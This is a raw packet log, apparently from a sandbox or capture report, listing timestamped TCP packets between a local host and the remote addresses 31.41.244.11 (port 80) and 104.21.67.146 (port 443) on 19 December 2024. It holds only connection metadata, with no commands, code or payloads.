Dec 19, 2024 03:09:34.375386953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.375441074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.375482082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.375534058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.376461983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.376509905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.376559019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.377387047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.377511024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.377580881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.378437996 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.378552914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.378613949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.379417896 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.379540920 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.379616022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.380383015 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.380440950 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.380512953 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.380731106 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.381392956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.381468058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.381505013 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.381558895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.382400036 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.382518053 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.382592916 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.383378983 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.383439064 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.383510113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.383651972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.384367943 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.384433031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.384494066 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.384547949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.385412931 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.385477066 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.385513067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.385565042 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.386385918 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.386483908 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.386543989 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.387407064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.387486935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.387553930 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.388422966 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.388480902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.388537884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.388605118 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.389363050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.389429092 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.389511108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.389601946 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.390367031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.390492916 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.390552044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.391376019 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.391683102 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.503061056 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:34.503115892 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:34.503187895 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:34.503459930 CET	49899	443	192.168.2.5	104.21.67.146
Dec 19, 2024 03:09:34.503474951 CET	443	49899	104.21.67.146	192.168.2.5
Dec 19, 2024 03:09:34.531352043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.531519890 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.531554937 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.531625032 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.531635046 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.531698942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.531847954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.531902075 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.532819986 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.532880068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.533006907 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.533066034 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.533730984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.533790112 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.533871889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.533927917 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.534698963 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.534763098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.534791946 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.534848928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.535583973 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.535657883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.535729885 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.535805941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.536593914 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.536659002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.536731005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.536786079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.537733078 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.537832022 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.537837982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.537892103 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.538615942 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.538676977 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.538737059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.538793087 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.539632082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.539690018 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.539757967 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.539814949 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.540599108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.540663004 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.540745974 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.540805101 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.541613102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.541671038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.541738033 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.541796923 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.542658091 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.542716026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.542795897 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.542854071 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.543589115 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.543648005 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.543725014 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.543781996 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.544640064 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.544699907 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.544711113 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.544800043 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.545610905 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.545669079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.545783997 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.545842886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.546736956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.546791077 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.546835899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.546890974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.547677040 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.547730923 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.547736883 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.547787905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.548599005 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.548654079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.548723936 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.548779964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.549596071 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.549654007 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.549735069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.549791098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.550592899 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.550647974 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.550702095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.550757885 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.551727057 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.551789045 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.551819086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.551877022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.552603960 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.552660942 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.552731037 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.552788019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.553617954 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.553673983 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.553730011 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.553786039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.554590940 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.554650068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.554693937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.554748058 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.555594921 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.555660963 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.555702925 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.555758953 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.556551933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.556603909 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.556668043 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.556727886 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.557549000 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.557602882 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.557688951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.557754993 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.558561087 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.558619022 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.558669090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.558722019 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.559535027 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.559587955 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.559657097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.559710026 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.560542107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.560595036 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.560640097 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.560694933 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.561538935 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.561589956 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.561661959 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.561713934 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.562540054 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.562594891 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.562665939 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.562720060 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.563580990 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.563635111 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.563708067 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.563759089 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.564538002 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.564590931 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.564662933 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.564717054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.565545082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.565598965 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.565747976 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.565802097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.566528082 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.566581011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.566652060 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.566703081 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.567552090 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.567605972 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.567646980 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.567698002 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.568537951 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.568612099 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.568653107 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.568707943 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.569545984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.569600105 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.569638968 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.569699049 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.570523024 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.570580006 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.570646048 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.570698023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.571508884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.571564913 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.571628094 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.571681023 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.572609901 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.572659969 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.572664976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.572714090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.573530912 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.573584080 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.573651075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.573702097 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.574517965 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.574569941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.574640989 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.574692011 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.575539112 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.575589895 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.575632095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.575685978 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.576543093 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.576601982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.576673031 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.576729059 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.577579021 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.577636957 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.577666044 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.577722073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.578536987 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.578650951 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.578670025 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.578722954 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.579554081 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.579612017 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.579693079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.579967976 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.580585003 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.580641031 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.580676079 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.580733061 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.581541061 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.581600904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.581657887 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.581711054 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.582532883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.582592964 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.582675934 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.582736015 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.583532095 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.583594084 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.733591080 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.733671904 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.733694077 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.733789921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.734055042 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.734129906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.734272957 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.734361887 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.734428883 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.734488010 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.735212088 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.735346079 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.735351086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.735409975 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.736273050 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.736330986 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.736399889 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.736481905 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.737281084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.737350941 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.737410069 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.737476110 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.738207102 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.738277912 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.738342047 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.738428116 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.739272118 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.739342928 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.739356041 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.739406109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.740264893 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.740328074 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.740364075 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.740442038 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.741249084 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.741324902 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.741364956 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.741429090 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.742208004 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.742269039 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.742331982 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.742413044 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.743216991 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.743275881 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.743338108 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.743519068 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.744225979 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.744292021 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.744370937 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.744471073 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.745233059 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.745340109 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.745349884 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.745402098 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.746371984 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.746407032 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.746434927 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.746465921 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.747219086 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.747282982 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.747345924 CET	80	49885	31.41.244.11	192.168.2.5
Dec 19, 2024 03:09:34.747402906 CET	49885	80	192.168.2.5	31.41.244.11
Dec 19, 2024 03:09:34.748281956 CET	80	49885	31.41.244.11	192.168.2.5
